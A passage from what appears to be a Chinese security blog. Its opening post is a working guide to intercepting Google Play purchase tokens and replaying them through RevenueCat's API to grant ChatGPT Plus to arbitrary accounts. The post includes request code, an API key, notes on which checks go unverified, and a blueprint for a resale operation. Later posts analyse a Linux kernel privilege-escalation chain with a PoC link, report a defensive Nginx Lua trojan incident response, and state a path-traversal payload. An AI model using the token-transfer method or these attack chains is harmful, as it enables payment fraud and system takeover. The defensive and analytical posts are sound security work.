 print(f" 订阅类型 : {sub.get('period_type')}")
 print(f" 是否沙盒 : {'是' if sub.get('is_sandbox') else '否'}")
 else:
 print("未找到 chatgpt_plus 权益，可能失败了")
 print(json.dumps(result, indent=2, ensure_ascii=False))
else:
 print(f"请求失败: {response.status_code}")
 print(response.text)

逐行拆解

Headers 部分：

"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/...)"

伪装成 Android 设备的 ChatGPT App。RevenueCat 会检查 User-Agent，用浏览器的 UA 会被拒。

"Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw"

这不是用户的 token，这是 RevenueCat 的 公共 API Key。每个使用 RevenueCat 的 App 都有一个，固定不变的。ChatGPT Android 的公钥就是这个。

Body 部分：

"fetch_token": "<purchase token>" # 第三步拿到的购买凭证
"app_user_id": "<account_id>" # 第四步拿到的目标账号 ID
"is_restore": True # 告诉 RC 这是"恢复购买"，不是新购买
"initiation_source": "unsynced_active_purchases" # 来源标记

is_restore: True 是个关键细节——它告诉 RevenueCat “这不是一次新购买，而是恢复一个已有的购买”。这样 RC 不会创建新的订阅记录，而是把已有的 token 绑定到 app_user_id 指定的账号上。

成功响应长啥样？

{
 "subscriber": {
 "entitlements": {
 "chatgpt_plus": {
 "expires_date": "2026-08-17T07:13:32Z",
 "product_identifier": "oai.chatgpt.plus",
 "purchase_date": "2026-07-17T07:13:32Z"
 }
 },
 "subscriptions": {
 "oai.chatgpt.plus": {
 "period_type": "trial",
 "price": { "amount": 0.0, "currency": "JPY" },
 "store": "play_store",
 "expires_date": "2026-08-17T07:13:32Z"
 }
 },
 "management_url": "https://play.google.com/store/account/subscriptions?..."
 }
}

看到 entitlements 里有 chatgpt_plus，就说明转移成功了。expires_date 是到期时间。

六、完整流程图

┌─────────────────────────────────────────────────────┐
│ Phase 1: Token 获取 │
│ │
│ 方式A: MITM 拦截 │
│ Android + ChatGPT + Reqable/mitmproxy │
│ 完成 Google Play 支付 │
│ 拦截 POST /v1/receipts → 提取 fetch_token │
│ 阻断请求 → 保存 token (72h 有效) │
│ │
│ 方式B: ADB 直读 │
│ Root 设备 + ADB │
│ 读取 library.db → ownership 表 │
│ 解析 JSON → 提取 purchaseToken │
└───────────────────────┬─────────────────────────────┘
 │
 ▼
┌─────────────────────────────────────────────────────┐
│ Phase 2: Token 使用 │
│ │
│ 获取目标账号 account_id │
│ GET /backend-api/accounts/check │
│ 或从 Session JSON 解析 │
│ ↓ │
│ POST /v1/receipts │
│ fetch_token = 保存的 token │
│ app_user_id = 目标 account_id │
│ Authorization = RC 公钥 │
│ ↓ │
│ RevenueCat 验证 → 通知 OpenAI → Plus 开通 │
└─────────────────────────────────────────────────────┘

七、规模化：从手动到自动

手动操作一两个账号没问题，但如果要做成服务呢？这就涉及到工程化了。

架构设计

一个完整的自动化系统大概长这样：

┌──────────┐ ┌────────────┐ ┌────────────┐
│ Google │ │ 拦截层 │ │ Token │
│ 账号池 │────▶│ mitmproxy │────▶│ 队列 │
│ │ │ + ADB │ │ (FIFO) │
└──────────┘ └────────────┘ └─────┬──────┘
 │
 ▼
┌──────────┐ ┌────────────┐ ┌────────────┐
│ 目标 │ │ 充值 API │ │ CDK │
│ 账号 │◀────│ 自动提交 │◀────│ 卡密系统 │
│ │ │ RC 调用 │ │ │
└──────────┘ └────────────┘ └────────────┘

核心组件：

组件	职责	技术栈
Google 账号池	存储可用的 Google 账号	数据库
ADB 自动化	自动完成 Play 支付流程	Python + ADB
Token 队列	缓存未使用的 purchase token	数据库/消息队列
CDK 卡密系统	发放激活码给终端用户	Web 应用
充值 API	接收用户 Session，调用 RC 完成开通	后端服务

数据库设计

核心就三张表：

google_credential — 记录每次 Google Play 购买：

字段	说明
google_email	Google 账号
order_id	订单号
purchase_token	购买凭证
product_id	产品标识
acknowledged	是否已确认
status	状态（未使用/已使用/已退款）
card_key_id	关联的 CDK

card_key — CDK 卡密：

字段	说明
card_key	16位激活码
product_id	对应产品
credential_id	关联的购买凭证
status	状态（待使用/已使用/已禁用）

redeem_record — 充值记录：

字段	说明
card_key	使用的激活码
external_account_id	目标 GPT 账号 ID
status	结果（成功/失败）
expires_date	订阅到期时间

用户端流程

做成产品后，终端用户看到的是这样的流程：

用户拿到 CDK 激活码
 ↓
打开充值页面，输入激活码
 ↓
系统验证激活码有效性
 ↓
用户粘贴自己的 ChatGPT Session JSON
 ↓
系统解析 Session，提取 account_id
 ↓
系统从 Token 队列取一个 token
 ↓
调用 RevenueCat API 完成转移
 ↓
返回充值结果（成功/失败 + 到期时间）

用户全程不需要知道底层发生了什么。他只需要：

输入激活码
粘贴 Session
等几秒钟

八、风控与注意事项

时间约束

约束	时限	后果
Token 未 Acknowledge	72 小时	Google Play 自动退款
RC 提交后自动 Acknowledge	立即	Token 被消费，无法再用

所以：token 拦截后必须在 3 天内使用。提交给 RevenueCat 后就立即被 Acknowledge，相当于"消费"掉了。

一 token 一账号

purchase token 一旦提交给 RevenueCat 并被 Acknowledge，就标记为"已消费"。不能重复使用。一次支付 = 一个 token = 开通一个账号。

这跟之前 iOS 收据复用漏洞不同——iOS 那个是同一张收据能反复用，Android 这个不行。

X-Post-Params-Hash

抓包时你可能注意到请求头里有个 X-Post-Params-Hash，格式：

app_user_id,fetch_token:sha256:<hash值>

这个是 app_user_id 和 fetch_token 拼接后的 SHA256。换了 account_id 后需要重新算。

但经过实测：服务端不校验这个值。随便填或者留空都不影响结果。RevenueCat 可能是为了调试保留的字段，并没有做服务端校验。

同样，X-Nonce 这个字段也不校验。

风控分析

风控点	风险	说明
RevenueCat 服务端	低	只验 token 真假，不检查 app_user_id 匹配
Google Play 退款检测	中	频繁退款/争议可能被 Google 封号
OpenAI 行为分析	低	OpenAI 后端只看 RC 返回的订阅状态
Google 账号风控	中	同一账号频繁订阅/退订会被标记

Google 账号消耗

如果走的是免费试用路径（period_type: "trial", price: 0.0）：

每个 Google 账号对 oai.chatgpt.plus 只有 1 次免费试用机会
试用后该账号永久标记为"已使用试用"
N 个 token 需要 N 个 Google 账号

如果走的是付费订阅路径：

Token 被拦截未 Acknowledge → 72h 后自动退款 → 理论上可重新购买
但频繁操作会触发 Google 风控
建议每个账号不超过 3-5 次循环

九、与 iOS 收据漏洞的对比

很多人会把这个和 iOS 收据复用搞混，这里做个对比：

维度	iOS 收据复用	Android Token 转移
支付平台	App Store	Google Play
中间层	直接对接 OpenAI	经过 RevenueCat
核心资产	iOS receipt（Base64）	purchase token
能否复用	能，一张收据开无数账号	不能，一个 token 只能用一次
成本模型	一次付费 → 无限开通	一次付费 → 一次开通
获取难度	需要 iOS 设备 + 拦截	Android + MITM 或 Root
修复状态	部分修复	未修复

Android 这个转移漏洞的成本比 iOS 高（每开一个账号都需要一个新 token），但胜在稳定——因为它利用的是 RevenueCat 的设计缺陷，不是简单的验证遗漏，修起来牵涉面更广。

十、总结

整条攻击链路其实非常清晰：

Google Play 支付 → 拦截 purchase token → 阻断 RevenueCat 回调
 ↓
目标账号 account_id ← Session 解析 ← 用户提交
 ↓
POST /v1/receipts (token + account_id) → RevenueCat 验证
 ↓
 OpenAI 开通 Plus

漏洞本质：RevenueCat 作为订阅中间层，在验证 purchase token 时不检查 app_user_id 与实际付款人的对应关系。它只关心两件事：token 是不是真的、token 有没有被用过。至于"谁付的钱"和"给谁开通"是不是同一个人——它不在乎。

为什么 OpenAI 不修？ 大概率不是不能修，而是不值得。要修这个洞，要么放弃 RevenueCat 自建订阅系统（工程量巨大），要么在 RevenueCat 侧增加 app_user_id 校验（需要 RC 配合改 API）。对于一个 B 端收入占大头的公司来说，个人订阅的漏洞优先级确实不高。

技术要点回顾：

架构理解 — Google Play → RevenueCat → OpenAI 三层解耦
Token 获取 — MITM 拦截（简单）或 ADB 直读 library.db（需 Root）
account_id — 从 /accounts/check API 或 Session JSON 获取
API 调用 — POST /v1/receipts 携带 token + account_id
时间窗口 — 72 小时，过期自动退款

最后提醒：本文仅供技术研究和安全交流。Google Play 订阅体系的安全性问题是一个值得关注的研究方向，但请不要将本文技术用于非法用途。

参考资料

标签: #ChatGPT #GPTPlus #GooglePlay #RevenueCat #订阅转移 #Android #支付安全 #技术科普

pedit COW：一场在页面缓存里悄无声息的 root 政变

Mon, 29 Jun 2026 18:00:00 +0800

真正的剑客不在杯中寻毒，而在茶里看见破绽。内核亦然。

零、一句话概括

CVE-2026-46331（绰号 “pedit COW”）是 Linux 内核流量控制子系统中的一个越界写入漏洞。攻击者利用 act_pedit 模块在 Copy-on-Write 阶段的校验缺陷，对共享页面缓存进行越界写入，在不触碰磁盘文件的情况下毒化 /bin/su 的内存映射，最终以非特权用户身份获取 root 权限。

CVSS 评分：7.8（HIGH）｜攻击复杂度：低｜利用条件：本地、非特权用户在启用了非特权用户命名空间的系统上

漏洞曝出不到 24 小时，公开 PoC 即现身 GitHub。这是一场从 mailing list 上被低估的「例行数据损坏补丁」到 weaponized exploit 的经典演变。

一、先复盘：CoW 这一类漏洞的血脉传承

如果你对 Linux 内核的 page-cache 漏洞稍有涉猎，应该已经对这个家族不陌生了：

漏洞名称	CVE	年份	核心手法
Dirty Pipe	CVE-2022-0847	2022	splice() 未重置 pipe buffer flags，向已释放的 page cache 写入
Copy Fail	CVE-2024-XXXX	2024	copy_file_range() 的 CoW 断裂
DirtyClone	CVE-2026-XXXX	2026	io_uring 零拷贝路径越过 page 所有权检查
Dirty Frag	CVE-2026-XXXX	2026	碎片整理过程中 page 引用计数竞争
pedit COW	CVE-2026-46331	2026	act_pedit 运行时偏移解析绕过越界检查

它们的本质是同一个「脉门」：

内核在某条快速路径上对页面做了写操作，但这个页面并不归它独占。

这不是内存破坏（memory corruption），这是逻辑漏洞。不涉及 ROP、不涉及 KASLR 绕过、不涉及堆喷。只需要知道哪一页被共享，然后把 payload 写进去——文件完整性校验会告诉你一切正常，而你早已是 root。

二、漏洞机制：一封被投毒的信，信封完好无损

2.1 act_pedit 的正常工作流

tc（traffic control）是 Linux 的流量整形瑞士军刀。其中 pedit action 可以在数据包经过时，实时修改包头字段——比如改 TTL、改 DSCP、改 IP 地址。

当你配置一条 pedit 规则并触发它时，内核调用链大致是：

tcf_pedit_act()
 → pedit_skb_hdr_offset() // 计算偏移
 → tcf_pedit_act() 内部 // 校验写入范围
 → 如果页面是共享的（refcount > 1）
 → 创建私有副本 (CoW)
 → 写入数据

理想情况下，CoW 保护在写入前完成，shared page 永远不被污染。

2.2 断裂点在哪里？

问题出在两次偏移解析之间。

第一次校验发生在 tcf_pedit_act() 计算 nkeys 时，它检查所有 key 的 offset、val、mask 组合后的总写入范围是否合法。此时对于某些特殊的 key 类型（偏移在运行时依赖实际数据包头内容才能确定），内核使用的是一种「预留槽」机制——先分配了一个最大范围，但没有精确锁定每个 key 的最终落点。

第二次，也就是实际写入时，这些 key 的偏移被运行时解析（例如基于 VLAN tag 层数动态计算）。如果运行时解析出的偏移超出了第一次校验时预留的私有副本范围——

写入操作就越界落回了共享的 page cache 页。

用一句话讲：

它量好尺寸才去借西装，结果扣子缝歪了，扎到了别人的皮肤上。

2.3 投毒链条

攻击者的完整攻击链：

1. 创建用户命名空间 → 获得 namespace-local CAP_NET_ADMIN
2. 加载 act_pedit 模块（如果未加载）
3. 打开 /bin/su（setuid root）→ 页面进入 page cache（共享状态）
4. 构造 tc pedit 规则，精确计算偏移使写入落在 /bin/su 的内存页中
5. 触发规则，向 cached page 注入 shellcode / 修改逻辑
6. 执行被投毒的 /bin/su → 内核看到 setuid bit + 文件未修改（磁盘是干净的）
 → 实际执行的是被污染的内存页中的代码
 → 获得 root shell

精妙之处：它不需要写 /etc/passwd、不需要改 sudoers、不触发任何文件系统级别的审计日志。整个攻击在内存中完成，文件哈希不变，AIDE/Tripwire 静默。

三、为什么这次特别危险？

3.1 入口门槛低

过去的 page-cache 漏洞往往需要特定条件：

Dirty Pipe 需要 pipe + splice 的配合
DirtyClone 需要 io_uring 支持

而 pedit COW 的入口是 非特权用户命名空间 + 可加载的内核模块。在主流发行版的默认配置下，这两项都是开启的：

发行版	unprivileged userns	act_pedit 可用	默认可被利用？
RHEL 8/9/10	✅ 默认开启	✅ 内核内置或可加载	✅
Debian 11/12/13 (trixie)	✅ 默认开启	✅ 可加载	✅
Ubuntu 18.04-24.04	✅ 默认开启	✅ 可加载	✅（24.04 需绕 AppArmor）
Ubuntu 26.04	✅ 内核支持	✅ 可加载	⚠️ AppArmor 默认阻断 userns

3.2 检测盲区

传统检测手段几乎全部失效：

文件完整性监控（AIDE/Samhain/Tripwire）：磁盘文件未被修改 → 通过
auditd 文件访问日志：只监控 syscall 层面的 open/read/write → 不覆盖 page cache 操作
杀毒软件：无法扫描内核态的内存写入
EDR/HIDS：除非 hook 了内核函数，否则看不到 tcf_pedit_act 内部的越界写入

唯一有效的检测是行为审计：一个非特权用户突然执行了 tc 命令并带着 pedit action，这本身就是异常信号。但攻击者可以在投毒后清理 tc 规则，痕迹只留在一瞬间。

3.3 时间线令人不安

2026-05-23 补丁出现在 netdev mailing list（标注为"数据损坏修复"）
2026-06-16 CVE 编号分配（补丁合入主线）
2026-06-17 公开 PoC 发布
2026-06-26 The Hacker News 报道
2026-06-29 本文发布时，大量发行版仍未推送修复

3 周——从补丁公开到武器化利用。如果一个漏洞的补丁在 mailing list 上躺了三周而无人重视，那它不是被遗忘，而是被忽视了。

四、攻防实操

4.1 复现环境（PoC 已验证）

根据公开 PoC 的测试结果：

RHEL 10：直接提权成功，无任何阻断
Debian 13 (trixie)：直接提权成功
Ubuntu 24.04：需通过 AppArmor profile 路由（利用仍可用的 profiles），提权成功
Ubuntu 26.04：AppArmor 阻断默认 user namespace 创建，exploit 在此环境下失败（但内核本身仍然脆弱）

PoC 地址：github.com/sgkdev/packet_edit_meme

4.2 快速自查

# 1. 检查内核版本
uname -r

# 2. 检查 act_pedit 模块是否可加载（存在 .ko 文件即危险）
find /lib/modules/$(uname -r) -name '*act_pedit*'

# 3. 检查 unprivileged user namespaces 状态
# Debian/Ubuntu:
cat /proc/sys/kernel/unprivileged_userns_clone
# RHEL/CentOS:
cat /proc/sys/user/max_user_namespaces

# 4. 综合判定：
# - 内核版本 < 修复版本（各发行版自行查询）
# - act_pedit 模块可用（.ko 存在或已加载）
# - unprivileged userns = 1（或 max_user_namespaces > 0）
# → 系统存在被利用条件

4.3 立即处置：两条防线，双管齐下

防线一：阻断 act_pedit 模块加载

# 检查模块是否已加载
lsmod | grep act_pedit

# 永 久阻止加载
echo 'install act_pedit /bin/true' | sudo tee /etc/modprobe.d/disable-act_pedit.conf

# 如果已加载，立即卸载
sudo rmmod act_pedit 2>/dev/null

此项操作不影响正常网络功能——除非你主动使用 tc pedit 修改数据包头。绝大多数服务器不需要此功能。

防线二：禁用非特权用户命名空间

# Debian/Ubuntu（立即生效 + 持久化）
sudo sysctl -w kernel.unprivileged_userns_clone=0
echo "kernel.unprivileged_userns_clone = 0" | sudo tee /etc/sysctl.d/99-disable-userns.conf

# RHEL/CentOS
sudo sysctl -w user.max_user_namespaces=0
echo "user.max_user_namespaces = 0" | sudo tee /etc/sysctl.d/99-disable-userns.conf

⚠️ 警告：禁用 unprivileged userns 会破坏 rootless 容器（Podman rootless、Docker rootless）、部分 CI 沙箱、以及基于命名空间隔离的浏览器沙箱（Chromium/Firefox）。在生产环境操作前务必评估影响。

防线三：升级内核并重启

这是唯一彻底的修复方案。对于无法立即重启的系统，前两条防线是救命稻草。

# Ubuntu/Debian
sudo apt update && sudo apt install linux-image-generic -y
sudo reboot

# RHEL/CentOS
sudo yum update kernel -y
sudo reboot

4.4 事故后的取证思路

如果怀疑已被入侵：

# 1. 检查 tc 规则中是否有异常的 pedit action
tc -s filter show dev lo 2>/dev/null
tc -s filter show dev eth0 2>/dev/null

# 2. 清除页面缓存（会丢掉攻击痕迹，但至少确保当前运行的二进制是干净的）
echo 3 | sudo tee /proc/sys/vm/drop_caches

# 3. 检查是否有异常 root shell 进程（如 /bin/su 的不正常子进程）
ps auxf | grep -v grep | grep -E 'su|bash.*root'

# 4. 全面取证：dump 内存、检查 auditd 日志时间线上的 tc 命令
# 但因攻击在内存中完成，磁盘取证价值有限。
# 原则：发现被利用 → 视为完全失陷 → 重装系统，不是清理。

五、写在最后：从补丁到武器，中间到底差了什么？

这个漏洞最让人脊背发凉的，不是它的技术复杂度（实际上比 Dirty Pipe 更简单），而是信息差。

5 月 23 日，补丁出现在 netdev mailing list，标题平淡无奇，归类为「数据损坏修复」。没有人标注 Security、没有人分配 CVE、没有人拉响警报。

6 月 16 日，补丁合入主线，CVE 下发。

6 月 17 日，exploit 发布。

从 mailing list 到 weaponized PoC，跨度三周。而直到 6 月底，大量生产系统依然暴露。

这不是 0day，这是 -21day——防御方有 21 天的时间窗口，但没有人认出这是一道裂缝。

安全社区需要反思的不只是代码质量，更是对补丁中「无关紧要的修复」的嗅觉。

内核 page-cache 写入路径上的任何校验变更——哪怕是「修复数据损坏」——都应该自动触发安全团队的审视。因为在这个领域，数据损坏和权限提升之间的距离，往往只隔着一个 setuid 位。

六、资源链接

NVD 页面：CVE-2026-46331
Red Hat 安全公告：RHSB-2026-008
Debian 安全追踪：CVE-2026-46331
Ubuntu 安全公告：CVE-2026-46331
公开 PoC：github.com/sgkdev/packet_edit_meme
原始补丁：netdev mailing list
The Hacker News 报道：New Linux pedit COW Exploit Enables Root Access by Poisoning Cached Binaries

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

一次 Nginx Lua 木马应急响应实录：从移动端跳转博彩站到 root 级入侵溯源

Sun, 21 Jun 2026 17:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

事件等级：🔴 严重 — 已确认 root 级入侵 攻击链：root SSH 认证登录 → Nginx Lua 木马植入 → 服务脚本持久化 → 日志清洗 持久化方式：init.d 服务脚本回灌 + chattr +i 文件锁定 + 时间戳伪造 处置结果：活跃链路已切断，已知残留已隔离，证据已归档

一、事件概述

某电商站点运维人员收到用户反馈：移动端访问站点时偶发跳转到博彩风格的外部页面，桌面端访问正常。同时该站点通过 CDN 访问时频繁出现 520 错误。

初步排查后发现，这不是前端 Bug，也不是支付插件异常，而是一次已经落证的服务器侧入侵事件。攻击者通过已认证的 root SSH 会话进入系统，在 Nginx 层植入 Lua 恶意模块实现流量劫持，并配合了服务脚本持久化、文件不可变属性锁定和日志清洗等全套反取证手段。

本文脱敏后完整记录此次应急响应的全流程，包括排查思路、取证方法、处置步骤和经验教训。

二、事件影响

业务层面：移动端用户访问站点时被服务端重定向到外部博彩风格域名，直接影响用户体验和业务信誉。
CDN 层面：CDN 出现间歇性 520 错误，并非单纯的 CDN 问题，而是叠加了 Nginx worker 进程崩溃风险。
支付链路：排查期间发现支付反代服务偶发超时，经分析属于 Docker 网络桥接配置问题，与 Lua 木马无直接关联。
运维安全：root 密码登录仍处于开放状态，且系统日志被清洗，导致部分入侵入口无法百分百回溯。

三、核心时间线

3.1 首次入侵（约一个月前）

HIDS 记录到一条真实的 root SSH 会话，该会话执行了以下操作：

动作	说明
修改 Nginx 配置文件	操作 `proxy.conf` 等反向代理配置
植入恶意 Lua 文件	将恶意 WAF 脚本写入 Nginx 相关目录
锁定文件	对植入文件执行 `chattr +i` 使其不可变
伪造时间戳	修改文件修改时间，掩盖植入时间点
重启 Nginx	执行 `nginx -t && /etc/init.d/nginx restart` 使木马生效
清洗日志	清空 `/var/log/auth.log`、`wtmp`、`btmp`、审计日志
清除痕迹	执行 `history -c` 和 `lastlog` 清除命令历史和登录记录

关键判断：这不是端口扫描或爆破尝试，而是「已认证」的入侵行为——攻击者拥有合法的 root 凭据。

3.2 第二次落地（事发当天凌晨）

系统出现第二段落地行为：

服务启动脚本 /etc/init.d/nginx 被植入恶意回灌逻辑
出现可疑的 .so 动态库文件
出现隐藏标记文件，内容为木马版本标识
内核日志出现 Nginx worker 进程的段错误

关键判断：这不是临时文件误报，而是服务重启级的持久化链路——即使当前恶意文件被删除，重启 Nginx 后木马会自动复活。

3.3 应急响应窗口

从用户反馈到完整处置，应急响应推进路径如下：

复现移动端 UA 与桌面端访问表现差异
对比应用层日志和 Nginx 访问日志
确认异常 302 重定向出现在 Nginx 层而非 PHP 应用层
通过 nginx -T 导出全量配置，顺 Lua 加载路径定位恶意模块
先备份证据，再替换为 no-op 空壳
深挖持久化点，确认 init.d 脚本回灌逻辑
清理认证面、隔离残留样本、打包证据并记录哈希
复测移动端、桌面端、支付接口和关键服务状态

四、排查分析过程

4.1 区分问题层级

用户报障后，首先要判断异常发生在哪一层：

层级	如果是这层的问题	实际表现
前端 / CDN 缓存	服务端日志仍返回正常 HTML	❌ 服务端日志存在异常 302
PHP 应用层	应用代码、路由或日志中能找到跳转逻辑	❌ 应用层无异常
Nginx 请求入口层	访问日志出现应用无感知的 302	✅ 命中了

本次通过移动端 UA 请求复现了 302，并发现跳转参数中包含原始域名和设备类型，说明跳转逻辑在 HTTP 请求入口层——也就是 Nginx 层被劫持。

4.2 访问日志分析

访问日志中出现了关键特征：

正常路径如 /、/item/1、/products → 间歇性 302，与正常 200 混杂

这个特征非常关键：

正常业务跳转通常有稳定规则（如未登录跳登录页）
恶意流量劫持常按设备类型、流量比例、来源 Referer 或时间随机触发
本次恶意 Lua 中确实存在移动端比例控制逻辑——只在部分移动端请求中触发跳转

4.3 定位 Nginx Lua 加载链

审计 nginx -T 全量配置后，重点排查以下位置：

lua_package_path — Lua 模块搜索路径
rewrite_by_lua / access_by_lua — 请求阶段 Lua 钩子
include luawaf.conf — WAF 配置文件
Nginx Lua 库目录
WAF 脚本目录
反向代理配置文件

最终确认活跃恶意模块是一个伪装成正常模块名的 .lua 文件，内容包含：

外部博彩风格跳转域名
移动端 UA 识别和比例触发逻辑
远程配置拉取功能
ngx.redirect() 跳转实现

与线上表现完全一致。

4.4 先取证再处置

本次没有直接删除任何可疑文件。 原因：

直接删除会破坏法证链，无法回溯入侵过程
直接删除 Lua 文件可能导致仍存在的调用点把 Nginx 打挂
攻击者使用了 chattr +i、时间戳伪造和重启回灌，单点删除不能解决持久化

处置策略：

将恶意原件保留到证据备份目录
生产路径中的恶意 Lua 替换为同名 no-op 空壳模块
保留导出函数签名，避免隐藏调用点异常
执行 nginx -t 验证配置后再 reload

4.5 追踪持久化机制

仅替换当前活跃恶意模块后，不能认为修复完成。后续检查发现 init.d 服务脚本已被改造：

从外部 URL 拉取远程载荷
向 Nginx 配置文件写入 Lua 钩子
操作 lua_package_path 确保模块加载
操作 ld.so.preload 预加载共享库
配合 chattr +i 保护植入文件

这就是木马的复活机制——只要 Nginx 服务重启，远程载荷会重新落地，配置会被重新注入。清理当前文件而不处理服务脚本，等于什么都没修。

4.6 用 HIDS 建立根因证据链

系统日志和 shell history 被清空后，常规取证手段失效。本次的关键证据来自 HIDS（主机入侵检测系统）的日志：

HIDS 中保留了 root SSH 会话记录及命令样本
能证明约一个月前已发生真实入侵
这个证据比猜测 IP 来源、猜测插件漏洞有价值得多

教训：HIDS 日志是日志清洗后唯一可信的证据源，必须保证不被同机单点覆盖，最好外送或异地备份。

4.7 扩展扫描残留

切断已知攻击链后，继续检查：

检查项	内容
进程	当前进程列表、高 CPU 进程
端口	监听端口和对应进程
服务	systemd 启用服务和 timer
定时任务	root 与系统级 crontab
预加载	`/etc/ld.so.preload`
启动脚本	shell profile、自启动脚本
认证文件	authorized_keys、uid=0 账户
SUID	SUID 提权文件
Nginx worker	当前加载的动态库映射
近期变更	最近修改的系统文件
IOC 搜索	恶意模块名、可疑域名、隐藏标记文件

最终确认并隔离了三个残留工件：隐藏标记文件、恶意动态库、异常数据文件。

4.8 认证面收敛（避免自锁）

发现 root 已泄露后，凭据轮换必须做，但不能为了「看起来更安全」直接关闭当前唯一的远程入口。

本次策略：

清空 root 的 authorized_keys
隔离未确认但仍需使用的 SSH 密钥
确认没有其他 uid=0 账户或异常用户的认证文件
暂时保留 root 密码登录，等待新管理员入口就绪后再关闭

这是安全和可运维之间的必要取舍——没有替代入口时直接关闭 root 登录，只会把正常运维锁在外面。

4.9 四层验证

验证层次	检查内容	结论
配置层	`nginx -t`、`nginx -T` 全量导出	✅ 无语法错误，无恶意 include
运行层	进程、端口、worker 映射库、内核日志	✅ 无崩溃，无异常动态库加载
业务层	移动端 UA / 桌面端 UA 访问核心页面	✅ 200 正常，无跳转
支付层	支付配置接口、支付回调日志	✅ 200 正常

只看服务状态 active 不等于业务可用；只看页面返回 200 也不等于木马已清理。必须四层同时验证。

五、处置措施总结

已执行操作

将恶意 Lua 模块替换为 no-op 安全空壳
将恶意 WAF 脚本替换为安全空壳
移除 init.d 服务脚本中的恶意回灌逻辑
移除 Nginx 全局配置中的异常 lua_package_path
去除攻击者遗留在相关文件上的 immutable 属性
隔离隐藏标记文件、恶意动态库、异常数据文件
清理 root 本机 SSH 私钥驻留
归档完整事件证据并生成 SHA256 校验值
恢复 Docker bridge 网关，修复支付反代超时问题

后续动作

24 小时内：

持续观察 Nginx 访问日志中的异常状态码
持续观察内核日志中的 worker 崩溃
观察支付链路的稳定性
保存 CDN 安全事件和访问日志

1-3 天内：

新建非 root 管理员用户并配置公钥
验证新入口可用后，关闭 root 密码直接登录
轮换面板密码、API key、部署密钥和数据库密码
将关键日志外送或定时同步到异地

中期：

评估系统重装和业务迁移窗口
用干净系统重新部署服务栈
只迁移业务数据，不迁移旧系统脚本和二进制
建立上线后基线：端口清单、文件哈希、日志保留策略

六、经验教训

1. 偶发跳转必须优先怀疑请求入口层

移动端跳转博彩站、桌面端偶发正常——这是典型的按 UA 或比例触发的流量劫持特征。不能只从前端缓存或应用路由找原因，必须第一时间查 Nginx 层的异常。

2. CDN 520 可能是源站进程崩溃

CDN 的 520 错误表示源站连接异常。本次 520 与恶意 .so 文件导致的 Nginx worker 进程崩溃直接相关。排查 CDN 错误时必须同时看源站内核日志和 worker 状态。

3. 单点删除木马不等于修复

攻击者使用了：

服务脚本持久化（重启复活）
chattr +i 文件不可变属性（防删除）
时间戳伪造（掩盖时间线）
日志清洗（销毁证据）

只替换一个恶意文件会留下重启复活的风险，必须深挖持久化链。

4. 证据保存必须早于清理

先打包证据、记录哈希、保留备份，再清理生产路径。否则后续无法解释完整的入侵链，也无法判断是否存在第二阶段攻击。

5. 安全加固不能盲目锁死

关闭 root 密码登录是正确方向，但前提是有可验证的新管理员入口。没有替代入口就直接关闭，等于把自己也锁在门外。

6. HIDS 是日志清洗后唯一的可信证据源

系统日志被清空后，HIDS 日志成为了唯一能证明入侵时间点和攻击行为的关键证据。后续必须保证 HIDS 日志异地存储，不能被同机攻击者一并清理。

7. 运行态问题要和入侵事件分层处理

本次排查中发现的支付反代超时问题，经分析是 Docker 网络配置问题，与 Lua 木马无关。应急响应中必须严格区分：

安全事件（入侵、木马、持久化）
运行态故障（网络、配置漂移、资源耗尽）
业务 Bug（代码逻辑、支付流程）

混为一谈会误导排查方向，浪费时间。

七、应急响应检查清单

以下模板可直接复用于类似事件的排查：

1. 复现用户侧异常
 记录 UA、URL、时间、响应码、跳转目标

2. 分层对比日志
 CDN → Nginx → 应用 → 系统日志，定位异常发生层级

3. 审计 Web 服务器配置
 导出全量配置，检查 Lua/WAF/include/proxy/rewrite/动态模块

4. 搜索 IOC
 关键词搜索，但不要在取证前删除任何文件

5. 取证归档
 对可疑文件做 stat、lsattr、sha256sum、备份归档

6. 检查持久化点
 systemd、init.d、cron、profile、ld.so.preload、Docker entrypoint

7. 检查认证面
 uid=0 账户、authorized_keys、私钥、面板用户、API key

8. 检查运行态
 进程、端口、worker 映射库、内核崩溃日志

9. 最小化清理
 先切断活跃链路，再处理持久化机制和残留文件

10. 重新验证
 配置层 → 运行层 → 业务层 → 支付层，四层全部验证

11. 归档与复盘
 归档证据和哈希，记录回滚点与剩余风险

八、判断边界

可以确认的：

存在已认证的 root SSH 入侵行为
存在 Nginx 服务脚本级持久化机制
移动端博彩跳转来自服务端 Nginx Lua 恶意模块
恶意动态库与 Nginx worker 进程崩溃相关
已知活跃链路已切断，已知残留已隔离

不能百分百确认的：

最初 root 凭据是如何泄露的
是否还存在未知 rootkit 或内核级隐藏组件
不同时间点的两次操作是否完全同源
不重装系统的情况下机器是否永远可信

因此后续安全策略不应停留在「已清理木马」，而应按「已发生 root 级入侵后的恢复流程」推进——最终闭环仍是重装系统、重建凭据、重新部署业务。

本文由真实应急响应案例脱敏整理，涉及域名、IP、路径等信息已做匿名化处理。

哪吒监控路径穿越漏洞分析：一个 `/dashboard..` 拿下全站 JWT 密钥

Tue, 16 Jun 2026 17:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

一分钟速读：Nezha Dashboard 的路由前缀校验存在逻辑缺陷——对 /dashboard 的前缀判断没有做路径段边界检查，攻击者用 /dashboard../ 即可逃逸出模板根目录，直达 data/config.yaml 拿到 JWT 签名密钥。手里有了密钥，伪造任意用户 Token、接管整个面板的控制权就不在话下了。

漏洞概览

项目	详情
CVE 编号	CVE-2026-53519
CVSS 评分	9.1（Critical）
CVSS 向量	`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
影响组件	Nezha Dashboard
影响版本	< v2.0.13
漏洞类型	未授权路径穿越（Unauthenticated Path Traversal）
披露时间	2026-05-31

一句话总结：不需要登录，不需要任何前置条件，一个 GET 请求就能把整个面板的 JWT 密钥读出来。

漏洞原理

问题出在哪

